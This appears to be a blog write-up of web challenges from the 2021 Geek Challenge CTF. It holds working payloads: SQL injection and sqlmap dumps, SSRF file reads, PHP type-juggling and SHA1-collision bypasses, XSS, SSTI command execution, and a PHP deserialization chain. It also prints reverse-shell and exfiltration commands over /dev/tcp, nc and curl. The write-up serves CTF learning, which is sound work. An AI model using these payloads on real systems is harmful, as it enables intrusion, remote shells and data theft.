2021 geek challenge

Keywords: Python Back-end

Geek challenge 2021

Welcome2021

Test site: http header request method
F12, prompt, please use the WELCOME request method to request this web page
burp captures packets, modifies the request method, and finds f11111aaaggg9.php
Request the flag again

Dark

Tor browser (onion browser) can be accessed directly.
But the premise is that you need to configure Tor browser.

babysql

Test site: there is no filtered union injection

First, check whether it is integer injection or character injection

List number

uname=1' order by 4#

Database query: babysql

uname=-1' union select database(),2,3,4#&pwd=1

Look up the table: Jeff, Jeff jokes

uname=-1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database()%23&pwd=1
 List:

jeff

uname,pwd,zzzz,uselesss

uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeff"%23&pwd=1

jeffjokes

id,english,chinese,misc,useless

uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeffjokes"%23&pwd=1

Check the data: no flag is found

uname=-1' union select group_concat(chinese),2,3,4 from jeffjokes#&pwd=1

Here I began to be particularly confused. I frantically checked my statements and tried every column of each table, but they were all wrong.

There is a sentence, guess is a hint:

The compiler never gives Jeff Compile warning, but Jeff Warning compiler,All pointers point to Jeff of,gcc of-O4 The optimization option is to email your code to Jeff Rewrite it,When Jeff When the program performance sampling of the program is triggered, the loop will expand automatically due to fear.,Jeff Still waiting alone for mathematicians to solve his problem PI Jokes hidden in numbers

This is Google God jeff bean Deeds of

Finally, I found the wrong library

Burst with sqlmap

ps: of post injection of sqlmap

Inventory check:
python3 sqlmap.py -r "D:\Desktop\5.txt" -p uname --dbs
python3 sqlmap.py -r 1.txt -p uname -D flag -T fllag -C  "fllllllag" --dump

babyphp

robots.txt to get noobcurl.php

 <?php
function ssrf_me($url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);
        echo $output;
}

if(isset($_GET['url'])){
    ssrf_me($_GET['url']);
}
else{
    highlight_file(__FILE__);
        echo "<!-- Is there a possibility, flag In the root directory -->";
}

Investigate ssrf, You can read my article

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); Mask echo
Try the file protocol first

file:///etc/passwd

Echo
Prompt that the flag is in the root directory. Go directly to the root directory.

file:///flag

Baby_PHP_Black_Magic_Enlightenment

 <?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>9999){
    echo file_get_contents('./2.php');
    echo "How's that possible";
} 
highlight_file(__FILE__);
//Art is long, but life is short. 
?> 

Step 1: weak comparison

Bypass is_numeric, direct weak type comparison

?password=10000a

Tip, baby_magic.php is a sha1 encryption. It is required to be equal before and after encryption, but it is a weak type before encryption and a strong type after encryption, so it is bypassed by array.

 <?php
error_reporting(0);

$flag=getenv('flag');
if (isset($_GET['name']) and isset($_GET['password'])) 
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else
    echo '<p>Login first!</p>';
highlight_file(__FILE__);
?> 

Step 2: array bypass

?name[]=1&password[]=2

Tip, baby_revenge.php filters the array, so you can't wrap it around the array, so it's a strong collision

<?php
error_reporting(0);

$flag=getenv('fllag');
if (isset($_GET['name']) and isset($_GET['password'])) 
{
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if(is_array($_GET['name']) || is_array($_GET['password']))
        die('There is no way you can sneak me, young man!');
    else if (sha1($_GET['name']) === sha1($_GET['password'])){
      echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";
      die('Genji:We will see again Hanzo'.$flag.'<br/>');
    }
    else
        echo '<p>Invalid password.</p>';
}else
    echo '<p>Login first!</p>';
highlight_file(__FILE__);
?> 

Step 3: since SHA1 is a strong comparison, use SHA1 collision to import two pdf files with the same SHA1 value but different SHA1 values

?name=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 

Tip: here_s_the_flag.php, the last step

 <?php
$flag=getenv('flllllllllag');
if(strstr("hackerDJ",$_GET['id'])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: $flag </p>";
}
highlight_file(__FILE__);
?> 

The strstr() function searches for the first occurrence of a string in another string.

That is, hackerDJ cannot appear, otherwise exit the loop. After that, there is strong comparative judgment.

Here, because the GET parameter needs to be urldecoded once and the code needs to be urldecoded once, it is decoded twice

Method: url secondary encoding bypass

?id=hackerD%254A

Attach my own php script

$a='flag';
$final='';
$c=urlencode('%');//Get the last%
for($i=0;$i<strlen($a);$i++){
    $b1=bin2hex($a[$i]);//First encoding,
    $final=$final.$c;
    for($j=0;$j<strlen($b1);$j++){
        $b2=bin2hex($b1[$j]);
        $mid='%'.$b2;
        $final.=$mid;
    }
}
echo $final.PHP_EOL;
echo urldecode($final).PHP_EOL;
echo urldecode(urldecode($final)).PHP_EOL;
echo urldecode(urldecode(urldecode($final)));
?>

It can be encoded not only twice but also three times (you only need to assign $a to the decoded primary encoding)

Honey snow ice city sweet honey

View source code

/*
 * Generate signature
 * @params  json data to be signed
 * @secret  Key string
 */
function makeSign(params, secret){
    var ksort = Object.keys(params).sort();
    var str = '';
    for(var ki in ksort){ 
    str += ksort[ki] + '=' + params[ksort[ki]] + '&'; 
    }

    str += 'secret=' + secret;
    var token = hex_md5(str).toUpperCase();
    return rsa_sign(token);
}

/*
 * rsa Encryption token
 */
function rsa_sign(token){
     var pubkey='-----BEGIN PUBLIC KEY-----';
    pubkey+='MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAbfx4VggVVpcfCjzQ+nEiJ2DL';
    pubkey+='nRg3e2QdDf/m/qMvtqXi4xhwvbpHfaX46CzQznU8l9NJtF28pTSZSKnE/791MJfV';
    pubkey+='nucVcJcxRAEcpPprb8X3hfdxKEEYjOPAuVseewmO5cM+x7zi9FWbZ89uOp5sxjMn';
    pubkey+='lVjDaIczKTRx+7vn2wIDAQAB';
    pubkey+='-----END PUBLIC KEY-----';
    // Using public key encryption
    var encrypt = new JSEncrypt();
    encrypt.setPublicKey(pubkey);
    return encrypt.encrypt(token);
}

/*
 * Get timestamp
 */
function get_time(){
    var d = new Date();
    var time = d.getTime()/1000;
    return parseInt(time);
}

//secret key
var secret = 'e10adc3949ba59abbe56e057f20f883e';

$("[href='#']").click(function(){

    var params = {};
    console.log(123);
    
    params.id = $(this).attr("id");
    params.timestamp = get_time();
    params.fake_flag= 'SYC{lingze_find_a_girlfriend}';
    params.sign = makeSign(params, secret);
    $.ajax({
        url : "http://106.55.154.252:8083/sign.php",
        data : params,
        type:'post',
        success:function(msg){
            $('#text').html(msg);
            alert(msg);
        },
        async:false

    });

})

The discovery requires verification, in which the id is also encrypted, but the discovery has little to do with the code.

I feel that the test site is that the front-end web page can be changed at will.

So try to modify the front-end js id to 9, and then click to get the flag

Reykjavik

The title requires latitude and longitude and ip address, which can be modified in two places

Get a string of jsfuck s and put them directly into the browser console for output

babyxss

<script>
function check(input){input = input.replace(/alert/,'');return '<script>console.log("'+input+'");</script>';}
</script>

Given the code, it is found that alert is filtered and the input content is wrapped in quotation marks.

So our idea is to close with quotation marks and separate the statement. Reuse

payload:

'");\u0061lert(1);("'

I wanted to use hex coding, but it doesn't seem to work.

People artists

The test site is: jwt

After login error, jump to / fail.php and prompt the correct account and password

It is found that there is a string of JWT, and it is prompted that the administrator in 2019 is required

Guess that you need to change the time to 2019 and the name to admin

Use jwtrack to blow up the key

The new header is JWT

Get flag

babyPy

A simple ssti

Run out of OS first_ wrap_ Close, display 133

import json

a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k, v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k) + "--->" + v)

So construct payoad

{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat /flag').read()}}

On filtering ssti, you can combine these three articles

Master Yu

Master Y4

Articles on the prophet

where_is_my_FUMO

 <?php
function chijou_kega_no_junnka($str) {
    $black_list = [">", ";", "|", "{", "}", "/", " "];
    return str_replace($black_list, "", $str);
}

if (isset($_GET['DATA'])) {
    $data = $_GET['DATA'];
    $addr = chijou_kega_no_junnka($data['ADDR']);
    $port = chijou_kega_no_junnka($data['PORT']);
    exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {
    highlight_file(__FILE__);
} 

To be clear, Rebound shel ll

bash -c "bash -i < /dev/tcp/addr/port"

Write a script to bounce

import requests
url='http://1.14.102.22:8115/'
params={
    'DATA[ADDR]':'xxxx',
    'DATA[PORT]':'10000'
    }
headers={
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
}
a=requests.get(url=url,params=params,headers=headers)
print(a.text)

It is found that it can bounce successfully, but the command cannot be executed. It should be because the attacker cannot echo because it executes input redirection
So what if we use this input shell to execute a rebound shell on the target and listen?
The first method: first rebound the shell, and then input it on the attacker (this person needs to change a port)

bash -i >& /dev/tcp/xxx/1212 0>&1

The second method: use the file descriptor directly

DATA[ADDR]=ip&DATA[PORT]=port%091<%260
 Because spaces are filtered, we use%09 Instead, let the echo of the attacked machine return to the attacking machine.   

Start command execution


The prompt says that the flag is in the picture of the root directory, but the command line cannot process the picture

The first method: using base64 or binary encoding processing

Because the terminal has a length limit, it is used tail And head intercept
cat /flag.png | base64 | tail -n +1|head -n 8000

cat /flag.png | base64 | tail -n +8001|head -n 8000

Read 8000 lines each time, read twice, and put the read base64 Just turn the code into a picture

The second method:

nc -lvvnp 1234 > flag.png  //Own server
cat /flag.png >/dec/tcp/xxxxx/1234  //command line

The third method:

The server creates a new file first

<?php
//highlight_file(__FILE__);
$uploaddir = '/var/www/html/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
 
echo '<pre>';
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
    echo "File is valid, and was successfully uploaded.\n";
} else {
    echo "Possible file upload attack!\n";
}
 
echo 'Here is some more debugging info:';
print_r($_FILES);
 
print "</pre>";
 
?>
curl -F "userfile=@/flag.png" http://youip/upload.php

Then you can access it directly to get the picture display.

Reference article:

linux rebound shell

babyPOP

 <?php
class a {
    public static $Do_u_like_JiaRan = false;
    public static $Do_u_like_AFKL = false;
}

class b {
    private $i_want_2_listen_2_MaoZhongDu;
    public function __toString()
    {
        if (a::$Do_u_like_AFKL) {
            return exec($this->i_want_2_listen_2_MaoZhongDu);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

class c {
    public function __wakeup()
    {
        a::$Do_u_like_JiaRan = true;
    }
}

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "Pay attention to jiaran," . $this->value;
    }
}

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            ($this->afkl)();
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
} 

Front:

__toString:Class is treated as a string 
__invoke(): The response method when an object is called by calling a function
__wakeup:implement unserialize()This function will be called first
__destruct: Class destructor

Code audit:

Idea: first of all, our purpose is to execute commands through the exec function in class b, but it is worth noting that the exec function does not echo, so we can't handle it with conventional command execution, but can use the server to help.

Step 1: we need to enter from c, and then enter e, $this - > afkl(); You can trigger something in d, and then trigger the String slave in b through "pay attention to jiaran,". $this - > value in d, so as to execute the command.

<?php
class a {
    public static $Do_u_like_JiaRan = false;
    public static $Do_u_like_AFKL = false;
}

class b {
    public $i_want_2_listen_2_MaoZhongDu;
    public function __toString()
    {
        if (a::$Do_u_like_AFKL) {
            // return exec($this->i_want_2_listen_2_MaoZhongDu);
            return "123";
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

class c {
    public $aaa;
    public function __wakeup()
    {
        a::$Do_u_like_JiaRan = true;
    }
}

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "Pay attention to jiaran," . $this->value;
    }
}

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            $this->afkl();    //Remove the brackets in front of this place, otherwise it won't run out under windows
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}
$c = new c;
$e = new e;
$d = new d;
$b = new b;

$b->i_want_2_listen_2_MaoZhongDu="bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Mi4xOTMuMTcwLjxMDAwMCAwPiYx}|{base64,-d}|{bash,-i}'";    //Server enable listening
$d->value = $b;
$e->afkl = $d;
$c->aaa = $e;
echo base64_encode(serialize($c));

Where the b parameter is assigned a value

This is OK curl http://xxx?c=$(cat /flag) -- or listening port
 however"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1\'

Although it can interact normally when bouncing the shell, the server will report

sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell

Possible causes

That error message likely means shell is probably calling tcsetpgrp() and getting back errno=ENOTTY. That can happen if the shell process does not have a controlling terminal. The kernel doesn't set that up before running init on /dev/console.
The solution: use a real terminal device like /dev/tty0.

Then the flag is in the root directory.

Knowledge points:

About command execution functions:
1. system: Execute system and external commands and output them
2. ` `: Execute the command, but it will not be output. If you want to output it, you need to echo `Command part`
3. exec: Execute the command, but it will not output
	string exec ( string $command [, array &$output [, int &$return_var ]] )
	Command: Indicates the command to execute
	Output: This is an array for receiving exec The string result returned after the function is executed
	return_var: record exec The status returned after the function is executed
4.passthru:Execute system commands and output results
	void passthru( string $command[, int &$return_var] ) 
5.shell_exec():For execution shell Command and returns the execution result as a string, but the result will not be output.
	If output, print(or echo)shell_exec()
6.popen: popen The function returns the result of the executed system command in the form of a file pointer.
	popen(Command, file open mode)
7.proc_open: Execute a command and open it for input/Pointer to the output file. be similar to popen function

Posted by jamcoupe on Wed, 01 Dec 2021 16:08:49 -0800